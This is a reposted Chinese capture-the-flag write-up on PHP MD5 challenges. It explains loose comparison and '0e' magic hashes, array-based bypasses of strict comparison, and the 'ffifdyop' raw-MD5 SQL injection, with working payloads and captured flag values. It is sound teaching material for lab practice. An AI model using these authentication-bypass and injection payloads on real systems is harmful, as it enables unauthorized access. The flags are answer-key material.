0


CTF-[Web] MD5解题思路

md5是一种信息摘要算法(目标是用于证明原文的完整性),其本质也是一种哈希函数,一种被广泛使用的密码散列函数,任意长度的数据算出的md5值的长度都是固定的,md5码具有高度的散列性,没有规律可循,哪怕辕信息只有一点变化,那么md5码也会发生巨大的变化,常用于验证文件的完整性,数据库存储密码,数字签名等。

md5具有不可逆性,但是通过MD5碰撞,还是有一定可能逆向出来的,(推荐一个在线md5破解网站:md5在线破解网站)

PHP 类型比较

  • 松散比较(运算符):使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较(全等运算符):用三个等号 === 比较,除了比较值,也比较类型。

详细了解可以参考菜鸟教程,很详细了。

PHP 0e漏洞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0(当成科学计数法进行处理),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

PHP在攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

PHP md5()函数

语法:md5(string,raw)

PHP md5()函数
参数描述string必需。规定要计算的字符串。raw可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式

FALSE - 默认 32 字符十六进制数

具体使用方法,可以参考菜鸟教程

松散比较类型

题目一

  • 题目如下:
  1. <?php
  2. header("Content-Type:text/html;charset=utf-8");
  3. show_source(__FILE__);
  4. include('flag.php');
  5. $md5 = $_GET['md5'];
  6. if($md5 == md5($md5)){
  7. echo 'GET_FLAG'.$flag;
  8. }else{
  9. echo 'md5校验失败...';
  10. }
  11. ?> md5校验失败...
  • 题目分析:

题目中要求一个字符串与md5加密后的值相等,通过上面PHP 0e漏洞的原理,也就将此题转化成 ==>寻找一个字符串(0e开头)加密后(还是0e开头),弱比较相等。

payload:?md5=0e215962017

  • 此题可解:

题目二

  • 题目如下:
  1. <?php
  2. header("Content-Type:text/html;charset=utf-8");
  3. show_source(__FILE__);
  4. include('flag.php');
  5. $username = $_GET['username'];
  6. $password = $_GET['password'];
  7. if($username != $password){
  8. if(md5($username) == md5($password)){
  9. echo 'GET_FLAG:'.$flag;
  10. }else{
  11. echo 'md5校验出错...';
  12. }
  13. }else{
  14. echo '用户名密码不能相等!';
  15. }
  16. ?> 用户名密码不能相等
  • 题目分析:

题目中,要求两个字符串值不能相等,但是两个字符串经过md5加密后的值需要相等,通过上面PHP 0e漏洞的原理,也就将此题转化成 ==> 寻找两个值加密后以0e开头,且0e后面是纯数字的字符串即可,可以使用Python写个程序或者直接在网上搜。

  1. 240610708
  2. 0e462097431906509019562988736854
  3. 314282422
  4. 0e990995504821699494520356953734
  5. 571579406
  6. 0e972379832854295224118025748221
  7. QLTHNDT
  8. 0e405967825401955372549139051580
  9. QNKCDZO
  10. 0e830400451993494058024219903391
  11. EEIZDOI
  12. 0e782601363539291779881938479162
  13. TUFEPMC
  14. 0e839407194569345277863905212547
  15. UTIPEZQ
  16. 0e382098788231234954670291303879
  • 此题可解:

严格比较类型

题目一

  • 题目如下:
  1. <?php
  2. header("Content-Type:text/html;charset=utf-8");
  3. show_source(__FILE__);
  4. include('flag.php');
  5. $username = $_GET['username'];
  6. $password = $_GET['password'];
  7. if($username != $password){
  8. if(md5($username) === md5($password)){
  9. echo 'GET_FLAG:'.$flag;
  10. }else{
  11. echo 'md5校验出错...';
  12. }
  13. }else{
  14. echo '用户名密码不能相等!';
  15. }
  16. ?> 用户名密码不能相等!
  • 题目分析:

全等运算符“===”,既比较值又比较类型,题目中“!=”意思为“不等于”,具体可查看菜鸟教程关于“!=”说明,值不相等时返回“ture”,也就是说两个参数值要不相等,两个参数在md5加密后全相等,也就是说两个参数在md5加密后不仅值相等类型也要一致,此时就无法利用PHP 0e漏洞了,需要别的方法绕过。

可以利用md5在加密字符串时会warining,输出结果为NULL,传入两个数组,这样就能使两个参数在md5加密后的类型是一致的。

payload:?username[]=1&password[]=2

  • 此题可解:

catf1ag{nlLU5FRGzI98ZuDyCYwq4KG4iZqIVEmp}

SQL注入+md5

(此题考察了SQL注入+md5各种绕过)

  • 题目如下:
  • 题目分析:

随便输入内容。点击提交没有任何回显,想到查看网页源代码,是否会有线索解题,在源代码中看到“header”,考虑可以尝试抓包查看HTTP头,这里推荐一个好用的在线工具(在线查看HTTP/HTTPS响应消息头)。

通过抓包(如下图),发现“Hint”处存在一个SQL语句“select * from 'admin' where password=md5($pass,true)”,这里通过上面对PHP md5()函数的解释,md5($pass,true)为true时,返回的是原始 16 字符二进制格式,这时可以通过输入ffifdyop进行绕过。

ffifdyop绕过原理:

ffifdyop经过md5加密后是:276f722736c95d99e921722cf9ed621c

在转换字符串是:'or'6<乱码> 即

  1. 'or'66�]��!r,��b

利用方法:

select * from admin where password=''or'6<乱码>'

就相当于构成永真式,即万能密码,实现SQL注入

  1. select * from admin where password=''or 1

输入提交后,返回了新的页面(如下图)。

查看网页源代码。

  1. <!--
  2. $a = $GET['a'];
  3. $b = $_GET['b'];
  4. if($a != $b && md5($a) == md5($b)){
  5. -->

这里通过代码审计:

传入参数a和b不能相等,两个参数经过md5加密后值相等。可以参考上面的松散比较类型进行绕过。提交参数后,页面刷新(如下图)。

好家伙,又要绕过,需要传入参数param1和param2,需要满足两个参数不相等,md5加密后值和类型都相等,可以参考上面的严格比较类型进行绕过(数组)。需要注意的是这里需要使用POST传参,这里推荐工具:HackBar。

  • 题目得解:

flag{2223418e-1d21-4436-95cb-4050c0ffc7a4}

题目练习平台

Catf1agCTF - 综合训练平台(前面几道题目)

BUUCTF在线评测http://www.catf1ag.cn/mainBUUCTF在线评测(最后一题[BJDCTF2020]Easy MD51)


本文转载自: https://blog.csdn.net/weixin_54438700/article/details/130119145
版权归原作者 小谷要努力~ 所有, 如有侵权,请联系我们删除。

“CTF-[Web] MD5解题思路”的评论:

还没有评论